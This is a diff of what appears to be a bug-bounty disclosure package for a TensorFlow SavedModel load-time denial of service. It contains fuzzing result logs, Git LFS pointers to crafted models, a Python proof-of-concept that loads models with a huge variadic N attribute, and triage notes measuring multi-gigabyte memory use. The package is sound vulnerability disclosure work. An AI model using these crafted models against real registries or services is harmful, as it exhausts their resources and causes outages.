+        "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216137.673822 3060862 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216138.927507 3060862 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
+        "stdout_tail": "{\"duration_sec\": 1.786, \"exception\": \"Node 'RestoreV2/tensor_names' has an _output_shapes attribute inconsistent with the GraphDef for output #0: Dimension 0 in both shapes must be equal, but are 1 and 9223372036854775000. Shapes are [1] and [9223372036854775000].\", \"exception_type\": \"ValueError\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/all_output_shapes_huge\", \"status\": \"exception\"}"
+      },
+      "saved_model_pb_size": 8268
+    },
+    {
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/float_const_huge_shape",
+      "name": "float_const_huge_shape",
+      "result": {
+        "child_json": {
+          "duration_sec": 1.828,
+          "exception": "Shape [3037000500,3037000500] is too large (more than 2**63 - 1 entries) for '{{node add/y}} = Const[_output_shapes=[[]], dtype=DT_FLOAT, value=<TensorProto: goo.gle/debugproto  dtype: DT_FLOAT tensor_shape { dim { size: 3037000500 } dim { size: 3037000500 } } float_val: 1>]()' with input shapes: .",
+          "exception_type": "ValueError",
+          "mode": "load",
+          "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/float_const_huge_shape",
+          "status": "exception"
+        },
+        "elapsed_sec": 2.334,
+        "exit_code": 0,
+        "signal": null,
+        "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216139.926585 3061682 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216141.187758 3061682 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
+        "stdout_tail": "{\"duration_sec\": 1.828, \"exception\": \"Shape [3037000500,3037000500] is too large (more than 2**63 - 1 entries) for '{{node add/y}} = Const[_output_shapes=[[]], dtype=DT_FLOAT, value=<TensorProto: goo.gle/debugproto  dtype: DT_FLOAT tensor_shape { dim { size: 3037000500 } dim { size: 3037000500 } } float_val: 1>]()' with input shapes: .\", \"exception_type\": \"ValueError\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/float_const_huge_shape\", \"status\": \"exception\"}"
+      },
+      "saved_model_pb_size": 8279
+    },
+    {
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/float_const_negative_shape",
+      "name": "float_const_negative_shape",
+      "result": {
+        "child_json": {
+          "duration_sec": 1.798,
+          "exception": "Shape [-2] is not fully defined for '{{node add/y}} = Const[_output_shapes=[[]], dtype=DT_FLOAT, value=<TensorProto: goo.gle/debugstr   dtype: DT_FLOAT tensor_shape { dim { size: -2 } } float_val: 1>]()' with input shapes: .",
+          "exception_type": "ValueError",
+          "mode": "load",
+          "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/float_const_negative_shape",
+          "status": "exception"
+        },
+        "elapsed_sec": 2.298,
+        "exit_code": 0,
+        "signal": null,
+        "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216142.276920 3062876 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216143.507232 3062876 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
+        "stdout_tail": "{\"duration_sec\": 1.798, \"exception\": \"Shape [-2] is not fully defined for '{{node add/y}} = Const[_output_shapes=[[]], dtype=DT_FLOAT, value=<TensorProto: goo.gle/debugstr   dtype: DT_FLOAT tensor_shape { dim { size: -2 } } float_val: 1>]()' with input shapes: .\", \"exception_type\": \"ValueError\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/float_const_negative_shape\", \"status\": \"exception\"}"
+      },
+      "saved_model_pb_size": 8276
+    },
+    {
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/float_const_zero_huge_shape",
+      "name": "float_const_zero_huge_shape",
+      "result": {
+        "child_json": {
+          "duration_sec": 1.812,
+          "exception": "Node 'add/y' has an _output_shapes attribute inconsistent with the GraphDef for output #0: Shapes must be equal rank, but are 3 and 0",
+          "exception_type": "ValueError",
+          "mode": "load",
+          "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/float_const_zero_huge_shape",
+          "status": "exception"
+        },
+        "elapsed_sec": 2.255,
+        "exit_code": 0,
+        "signal": null,
+        "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216144.596537 3064015 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216145.822079 3064015 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
+        "stdout_tail": "{\"duration_sec\": 1.812, \"exception\": \"Node 'add/y' has an _output_shapes attribute inconsistent with the GraphDef for output #0: Shapes must be equal rank, but are 3 and 0\", \"exception_type\": \"ValueError\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/float_const_zero_huge_shape\", \"status\": \"exception\"}"
+      },
+      "saved_model_pb_size": 8283
+    },
+    {
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/function_recursive",
+      "name": "function_recursive",
+      "result": {
+        "child_json": {
+          "duration_sec": 1.702,
+          "exception": "('There is a cyclic dependency between functions. ', \"Could not resolve ['__inference_serve_6', '__inference_signature_wrapper_serve_12'].\")",
+          "exception_type": "ValueError",
+          "mode": "load",
+          "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/function_recursive",
+          "status": "exception"
+        },
+        "elapsed_sec": 2.105,
+        "exit_code": 0,
+        "signal": null,
+        "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216146.810410 3065014 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216148.002599 3065014 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
+        "stdout_tail": "{\"duration_sec\": 1.702, \"exception\": \"('There is a cyclic dependency between functions. ', \\\"Could not resolve ['__inference_serve_6', '__inference_signature_wrapper_serve_12'].\\\")\", \"exception_type\": \"ValueError\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/function_recursive\", \"status\": \"exception\"}"
+      },
+      "saved_model_pb_size": 8355
+    },
+    {
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/pack_n_huge",
+      "name": "pack_n_huge",
+      "result": {
+        "elapsed_sec": 25.71,
+        "exit_code": null,
+        "signal": "TIMEOUT",
+        "stderr_tail": "",
+        "stdout_tail": ""
+      },
+      "saved_model_pb_size": 8267
+    },
+    {
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/placeholder_shape_huge",
+      "name": "placeholder_shape_huge",
+      "result": {
+        "child_json": {
+          "duration_sec": 1.707,
+          "loaded_type": "_UserObject",
+          "mode": "load",
+          "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/placeholder_shape_huge",
+          "status": "ok"
+        },
+        "elapsed_sec": 2.172,
+        "exit_code": 0,
+        "signal": null,
+        "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216174.645252 3068182 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216175.809020 3068182 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
+        "stdout_tail": "{\"duration_sec\": 1.707, \"loaded_type\": \"_UserObject\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/placeholder_shape_huge\", \"status\": \"ok\"}"
+      },
+      "saved_model_pb_size": 8262
+    },
+    {
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/placeholder_shape_zero_huge",
+      "name": "placeholder_shape_zero_huge",
+      "result": {
+        "child_json": {
+          "duration_sec": 1.74,
+          "loaded_type": "_UserObject",
+          "mode": "load",
+          "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/placeholder_shape_zero_huge",
+          "status": "ok"
+        },
+        "elapsed_sec": 2.153,
+        "exit_code": 0,
+        "signal": null,
+        "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216176.815881 3068332 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216178.008760 3068332 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
+        "stdout_tail": "{\"duration_sec\": 1.74, \"loaded_type\": \"_UserObject\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/placeholder_shape_zero_huge\", \"status\": \"ok\"}"
+      },
+      "saved_model_pb_size": 8260
+    },
+    {
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/remove_main_op_collection",
+      "name": "remove_main_op_collection",
+      "result": {
+        "child_json": {
+          "duration_sec": 1.772,
+          "loaded_type": "_UserObject",
+          "mode": "load",
+          "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/remove_main_op_collection",
+          "status": "ok"
+        },
+        "elapsed_sec": 2.215,
+        "exit_code": 0,
+        "signal": null,
+        "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216178.970430 3068519 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216180.178788 3068519 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
+        "stdout_tail": "{\"duration_sec\": 1.772, \"loaded_type\": \"_UserObject\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/remove_main_op_collection\", \"status\": \"ok\"}"
+      },
+      "saved_model_pb_size": 8230
+    },
+    {
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/restore_names_huge_shape",
+      "name": "restore_names_huge_shape",
+      "result": {
+        "child_json": {
+          "duration_sec": 1.678,
+          "exception": "Node 'RestoreV2/tensor_names' has an _output_shapes attribute inconsistent with the GraphDef for output #0: Dimension 0 in both shapes must be equal, but are 2147483647 and 1. Shapes are [2147483647] and [1].",
+          "exception_type": "ValueError",
+          "mode": "load",
+          "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/restore_names_huge_shape",
+          "status": "exception"
+        },
+        "elapsed_sec": 2.062,
+        "exit_code": 0,
+        "signal": null,
+        "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216181.178582 3069108 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216182.359066 3069108 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
+        "stdout_tail": "{\"duration_sec\": 1.678, \"exception\": \"Node 'RestoreV2/tensor_names' has an _output_shapes attribute inconsistent with the GraphDef for output #0: Dimension 0 in both shapes must be equal, but are 2147483647 and 1. Shapes are [2147483647] and [1].\", \"exception_type\": \"ValueError\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/restore_names_huge_shape\", \"status\": \"exception\"}"
+      },
+      "saved_model_pb_size": 8267
+    },
+    {
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/restore_slices_huge_shape",
+      "name": "restore_slices_huge_shape",
+      "result": {
+        "child_json": {
+          "duration_sec": 1.664,
+          "exception": "Node 'RestoreV2/shape_and_slices' has an _output_shapes attribute inconsistent with the GraphDef for output #0: Dimension 0 in both shapes must be equal, but are 2147483647 and 1. Shapes are [2147483647] and [1].",
+          "exception_type": "ValueError",
+          "mode": "load",
+          "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/restore_slices_huge_shape",
+          "status": "exception"
+        },
+        "elapsed_sec": 2.04,
+        "exit_code": 0,
+        "signal": null,
+        "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216183.246479 3069252 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216184.414720 3069252 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
+        "stdout_tail": "{\"duration_sec\": 1.664, \"exception\": \"Node 'RestoreV2/shape_and_slices' has an _output_shapes attribute inconsistent with the GraphDef for output #0: Dimension 0 in both shapes must be equal, but are 2147483647 and 1. Shapes are [2147483647] and [1].\", \"exception_type\": \"ValueError\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/restore_slices_huge_shape\", \"status\": \"exception\"}"
+      },
+      "saved_model_pb_size": 8267
+    },
+    {
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/signature_dims_huge",
+      "name": "signature_dims_huge",
+      "result": {
+        "child_json": {
+          "duration_sec": 1.702,
+          "loaded_type": "_UserObject",
+          "mode": "load",
+          "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/signature_dims_huge",
+          "status": "ok"
+        },
+        "elapsed_sec": 2.073,
+        "exit_code": 0,
+        "signal": null,
+        "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216185.309818 3069305 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216186.465534 3069305 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
+        "stdout_tail": "{\"duration_sec\": 1.702, \"loaded_type\": \"_UserObject\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/signature_dims_huge\", \"status\": \"ok\"}"
+      },
+      "saved_model_pb_size": 8303
+    },
+    {
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/string_join_n_huge",
+      "name": "string_join_n_huge",
+      "result": {
+        "elapsed_sec": 25.76,
+        "exit_code": null,
+        "signal": "TIMEOUT",
+        "stderr_tail": "",
+        "stdout_tail": ""
+      },
+      "saved_model_pb_size": 8267
+    }
+  ],
+  "python": "3.12.3 (main, Mar 23 2026, 19:04:32) [GCC 13.3.0]"
+}

models/control_saved_model/fingerprint.pb

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:80b53f66e9b76d907c8fb79eeae23d62027e745ab1cac09f83b1377808ae75f2
+size 97

models/control_saved_model/saved_model.pb

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:f9bf38bbc3b1a6e31e47e226c1b82d47d358bae62bef99e3304435015d695dab
+size 8263

models/pack_n_250m_saved_model/fingerprint.pb

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:80b53f66e9b76d907c8fb79eeae23d62027e745ab1cac09f83b1377808ae75f2
+size 97

models/pack_n_250m_saved_model/saved_model.pb

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:4c132f37ca7bea1f44191c42c9cff199bb31071f76d35af0de2a3bc0d93a27e5
+size 8266

models/string_join_n_250m_saved_model/fingerprint.pb

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:80b53f66e9b76d907c8fb79eeae23d62027e745ab1cac09f83b1377808ae75f2
+size 97

models/string_join_n_250m_saved_model/saved_model.pb

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:98456d6f26935635c55a4ad7c4f8ebb5015e255f3d3bd88d315fce92f7ed303c
+size 8266

repro_savedmodel_variadic_n_dos.py

@@ -0,0 +1,158 @@
+#!/usr/bin/env python3
+"""Reproduce TensorFlow SavedModel load-time resource exhaustion.
+
+The included malicious SavedModel directories are valid SavedModel layouts whose
+`saved_model.pb` files differ from the control by one variadic op attribute:
+`N=250000000` on either a `Pack` node or a `StringJoin` node. Loading the model
+forces TensorFlow's NodeDef validation to expand the variadic input signature
+from this untrusted value before rejecting the malformed node.
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import os
+import re
+import shutil
+import subprocess
+import sys
+import time
+from pathlib import Path
+
+
+ROOT = Path(__file__).resolve().parent
+MODELS = ROOT / "models"
+
+CHILD = r"""
+import os
+import sys
+import time
+
+os.environ.setdefault("CUDA_VISIBLE_DEVICES", "")
+os.environ.setdefault("TF_CPP_MIN_LOG_LEVEL", "2")
+os.environ.setdefault("OMP_NUM_THREADS", "1")
+os.environ.setdefault("TF_NUM_INTEROP_THREADS", "1")
+os.environ.setdefault("TF_NUM_INTRAOP_THREADS", "1")
+
+import tensorflow as tf
+
+try:
+    tf.config.threading.set_inter_op_parallelism_threads(1)
+    tf.config.threading.set_intra_op_parallelism_threads(1)
+except Exception:
+    pass
+
+print("before_load", time.time(), flush=True)
+loaded = tf.saved_model.load(sys.argv[1])
+print("after_load", time.time(), type(loaded).__name__, flush=True)
+"""
+
+
+def run_with_time(model_dir: Path, timeout_sec: int) -> dict:
+    env = dict(os.environ)
+    env.update(
+        {
+            "CUDA_VISIBLE_DEVICES": "",
+            "TF_CPP_MIN_LOG_LEVEL": "2",
+            "OMP_NUM_THREADS": "1",
+            "TF_NUM_INTEROP_THREADS": "1",
+            "TF_NUM_INTRAOP_THREADS": "1",
+        }
+    )
+
+    time_bin = shutil.which("time") or "/usr/bin/time"
+    timeout_bin = shutil.which("timeout")
+    if not Path(time_bin).exists() or timeout_bin is None:
+        raise RuntimeError("This PoC expects GNU /usr/bin/time and timeout on Linux")
+
+    cmd = [
+        time_bin,
+        "-f",
+        "TIME_RESULT real=%e user=%U sys=%S maxrss_kb=%M exit=%x",
+        timeout_bin,
+        f"{timeout_sec}s",
+        sys.executable,
+        "-c",
+        CHILD,
+        str(model_dir),
+    ]
+
+    started = time.time()
+    proc = subprocess.run(
+        cmd,
+        text=True,
+        stdout=subprocess.PIPE,
+        stderr=subprocess.PIPE,
+        env=env,
+    )
+    elapsed = round(time.time() - started, 3)
+    result = {
+        "model_dir": str(model_dir),
+        "saved_model_pb_size": (model_dir / "saved_model.pb").stat().st_size,
+        "exit_code": proc.returncode,
+        "timeout_sec": timeout_sec,
+        "elapsed_sec_parent": elapsed,
+        "stdout_tail": proc.stdout[-1000:],
+        "stderr_tail": proc.stderr[-2000:],
+    }
+    match = re.search(
+        r"TIME_RESULT real=(?P<real>\S+) user=(?P<user>\S+) "
+        r"sys=(?P<sys>\S+) maxrss_kb=(?P<rss>\S+) exit=(?P<exit>\S+)",
+        proc.stderr,
+    )
+    if match:
+        result.update(
+            {
+                "time_real_sec": float(match.group("real")),
+                "time_user_sec": float(match.group("user")),
+                "time_sys_sec": float(match.group("sys")),
+                "maxrss_kb": int(match.group("rss")),
+                "time_exit": int(match.group("exit")),
+                "timed_out": int(match.group("exit")) == 124,
+            }
+        )
+    return result
+
+
+def main() -> int:
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--timeout", type=int, default=12)
+    parser.add_argument(
+        "--exploit",
+        choices=["pack", "string_join"],
+        default="pack",
+        help="Which included malicious SavedModel to load.",
+    )
+    parser.add_argument("--json-out", type=Path)
+    args = parser.parse_args()
+
+    control = MODELS / "control_saved_model"
+    exploit = MODELS / (
+        "pack_n_250m_saved_model"
+        if args.exploit == "pack"
+        else "string_join_n_250m_saved_model"
+    )
+    output = {
+        "python": sys.version,
+        "tensorflow_command": "tf.saved_model.load(model_dir)",
+        "control": run_with_time(control, max(args.timeout, 20)),
+        "exploit": run_with_time(exploit, args.timeout),
+    }
+
+    print(json.dumps(output, indent=2, sort_keys=True))
+    if args.json_out:
+        args.json_out.write_text(json.dumps(output, indent=2, sort_keys=True) + "\n")
+
+    exploit_result = output["exploit"]
+    if exploit_result.get("timed_out") and exploit_result.get("maxrss_kb", 0) > 1_000_000:
+        print(
+            "\nConfirmed: the small malicious SavedModel timed out while consuming "
+            f"{exploit_result['maxrss_kb'] / 1024 / 1024:.2f} GiB RSS."
+        )
+        return 0
+    return 1
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())

requirements.txt

@@ -0,0 +1 @@
+tensorflow-cpu==2.21.0

triage.md

@@ -0,0 +1,52 @@
+# Triage notes
+
+## Affected version
+
+- `tensorflow-cpu==2.21.0`, latest PyPI release checked on 2026-06-23.
+
+## Control behavior
+
+`models/control_saved_model/` loads successfully with:
+
+```python
+tf.saved_model.load("models/control_saved_model")
+```
+
+## Exploit behavior
+
+`models/pack_n_250m_saved_model/` and
+`models/string_join_n_250m_saved_model/` are the same minimal SavedModel layout
+with one changed integer attribute in `saved_model.pb`:
+
+- `Pack.N = 250000000`
+- `StringJoin.N = 250000000`
+
+`tf.saved_model.load()` starts validating the graph, expands the expected input
+signature according to `N`, and consumes CPU/RAM before the malformed node can
+be rejected.
+
+Measured sweep from `evidence/n-sweep-time-rss-20260623.json`:
+
+| Node | N | Result | Max RSS |
+| --- | ---: | --- | ---: |
+| Pack | 1,000,000 | clean exception | 526,104 KB |
+| Pack | 50,000,000 | clean exception | 1,891,536 KB |
+| Pack | 100,000,000 | clean exception | 3,258,416 KB |
+| Pack | 250,000,000 | timeout at 12s | 6,654,568 KB |
+| StringJoin | 1,000,000 | clean exception | 524,684 KB |
+| StringJoin | 50,000,000 | clean exception | 1,892,560 KB |
+| StringJoin | 100,000,000 | clean exception | 3,259,836 KB |
+| StringJoin | 250,000,000 | timeout at 12s | 6,139,352 KB |
+
+## Security impact
+
+An attacker who can supply a SavedModel to a validator, model registry, model
+scanner, conversion service, or application that calls `tf.saved_model.load()`
+can force multi-GB memory consumption and CPU burn from a tiny model file.
+
+No arbitrary code execution or data disclosure is claimed.
+
+## Likely CWE
+
+- CWE-400: Uncontrolled Resource Consumption
+- CWE-789: Memory Allocation with Excessive Size Value